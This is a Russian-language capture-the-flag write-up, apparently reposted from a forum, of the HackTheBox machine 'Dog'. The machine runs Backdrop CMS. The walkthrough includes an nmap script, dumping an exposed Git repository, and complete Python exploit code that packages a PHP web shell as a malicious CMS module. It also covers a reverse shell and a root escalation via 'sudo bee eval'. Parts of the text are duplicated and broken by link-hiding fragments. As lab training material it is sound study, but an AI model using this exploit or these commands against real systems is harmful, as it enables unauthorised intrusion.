stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу весь путь атаки на Backdrop CMS. Сначала мы получим учетные данные из конфига, забытого разработчиками в каталоге Git, затем авторизуемся и загрузим модуль для выполнения своего кода и получения RCE. При повышении привилегий воспользуемся возможностями утилиты администрирования Backdrop CMS.
Наша конечная цель — получение прав суперпользователя на машине Dog с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень ее сложности — легкий.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
Главная страница сайта
или Зарегистрируйся.
Затем просмотрим историю коммитов через Для просмотра ссылки Войдиили Зарегистрируйся.
История коммитов
В истории коммитов ничего интересного нет, однако мы узнаем, что используется Backdrop CMS. Быстрый поиск по слову version позволяет найти версию CMS.
Поиск версии CMS
Первым делом стоит проверить, есть ли для обнаруженной системы готовые эксплоиты. С этим вопросом отправляемся в Google.
Поиск эксплоитов в Google
По Для просмотра ссылки Войдиили Зарегистрируйся находим инструкцию о том, как загрузить свой модуль и получить RCE (возможность удаленного выполнения кода). Однако для этого нам нужно сначала как‑то попасть в админку. Поищем учетные данные в файле settings.php, где содержатся настройки для подключения к базе данных MySQL.
Содержимое файла settings.php
Находим пароль, но у нас нет логина. Поищем по домену — и находим e-mail пользователя.
Поиск почтовых адресов
С полученными почтовым адресом и паролем успешно авторизуемся в Backdrop CMS.
Главная панель Backdrop CMS
[1]) Для просмотра ссылки Войди или Зарегистрируйся. Будем использовать версию Bash (Base64).
Создание реверс шелла
Запустим листенер (pwncat -lp 4321) и выполним реверс шелл. Так мы сможем получить доступ к установленному на сервере Linux от имени учетной записи веб‑сервера www-data.
Сессия пользователя www-data
Пользователи с консолью
С имеющимся у нас паролем авторизуемся от имени пользователя johncusack и забираем первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Просматриваем вывод и видим, что зацепиться не за что. Однако мы не получили настройки sudoers, так как для этого требуется ввести пароль пользователя. Давай получим их вручную.
Сообщение при получении настроек sudoers
Настройки sudoers
Видим, что мы можем выполнить файл /usr/local/bin/bee от имени привилегированного пользователя root. Проверим, что это за файл.
Проверка файла
Файл представляет собой ссылку на /backdrop_tool/bee/bee.php. Это скрипт на PHP, который позволяет выполнять запросы к базе данных, а также выполнять код через функцию eval.
Параметры скрипта
Используем параметр php-eval для вызова функции system, чтобы запустить командную оболочку bash в контексте root.
Флаг рута
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине Dog с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютера, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.58 dog.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Сканер нашел два открытых порта:
- 22 — служба OpenSSH 7.9p1;
- 80 — веб‑сервер Apache 2.4.38.

Точка входа
Первым делом попробуем выкачать весь репозиторий с помощью Для просмотра ссылки Войдиgit-dumper [URL]http://dog.htb[/URL] dog
Затем просмотрим историю коммитов через Для просмотра ссылки Войди

В истории коммитов ничего интересного нет, однако мы узнаем, что используется Backdrop CMS. Быстрый поиск по слову version позволяет найти версию CMS.

Первым делом стоит проверить, есть ли для обнаруженной системы готовые эксплоиты. С этим вопросом отправляемся в Google.

По Для просмотра ссылки Войди

Находим пароль, но у нас нет логина. Поищем по домену — и находим e-mail пользователя.

С полученными почтовым адресом и паролем успешно авторизуемся в Backdrop CMS.

Точка опоры
Используем следующий эксплоит для создания модуля Backdrop CMS, который будет давать нам веб‑шелл.
Код:
import os
import time
import zipfile
def create_files():
info_content = """
type = module
name = Block
description = Controls the visual building blocks a page is constructed
with. Blocks are boxes of content rendered into an area, or region, of a
web page.
package = Layouts
tags[] = Blocks
tags[] = Site Architecture
version = BACKDROP_VERSION
backdrop = 1.x
configure = admin/structure/block
; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
"""
shell_info_path = "shell/shell.info"
os.makedirs(os.path.dirname(shell_info_path), exist_ok=True) # Klasörüoluşturur
with open(shell_info_path, "w") as file:
file.write(info_content)
shell_content = """
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
"""
shell_php_path = "shell/shell.php"
with open(shell_php_path, "w") as file:
file.write(shell_content)
return shell_info_path, shell_php_path
def create_zip(info_path, php_path):
zip_filename = "shell.zip"
with zipfile.ZipFile(zip_filename, 'w') as zipf:
zipf.write(info_path, arcname='shell/shell.info')
zipf.write(php_path, arcname='shell/shell.php')
return zip_filename
def main(url):
print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")
time.sleep(3)
print("Evil module generating...")
time.sleep(2)
info_path, php_path = create_files()
zip_filename = create_zip(info_path, php_path)
print("Evil module generated!", zip_filename)
time.sleep(2)
print("Go to " + url + "/admin/modules/install and upload the " +
zip_filename + " for Manual Installation.")
time.sleep(2)
print("Your shell address:", url + "/modules/shell/shell.php")
if name == "main":
import sys
if len(sys.argv) < 2:
print("Usage: python script.py ") else: main(sys.argv

Запустим листенер (pwncat -lp 4321) и выполним реверс шелл. Так мы сможем получить доступ к установленному на сервере Linux от имени учетной записи веб‑сервера www-data.

Продвижение
Нередко пользователи ставят везде один и тот же пароль. Получим список юзеров, имеющих возможность выполнять команды в консоли.cat /etc/passwd | grep bash

С имеющимся у нас паролем авторизуемся от имени пользователя johncusack и забираем первый флаг.

Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в случае с Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиПросматриваем вывод и видим, что зацепиться не за что. Однако мы не получили настройки sudoers, так как для этого требуется ввести пароль пользователя. Давай получим их вручную.


Видим, что мы можем выполнить файл /usr/local/bin/bee от имени привилегированного пользователя root. Проверим, что это за файл.

Файл представляет собой ссылку на /backdrop_tool/bee/bee.php. Это скрипт на PHP, который позволяет выполнять запросы к базе данных, а также выполнять код через функцию eval.

Используем параметр php-eval для вызова функции system, чтобы запустить командную оболочку bash в контексте root.
sudo /usr/local/bin/bee --root=/var/www/html eval "system('bash -p');"

Машина захвачена!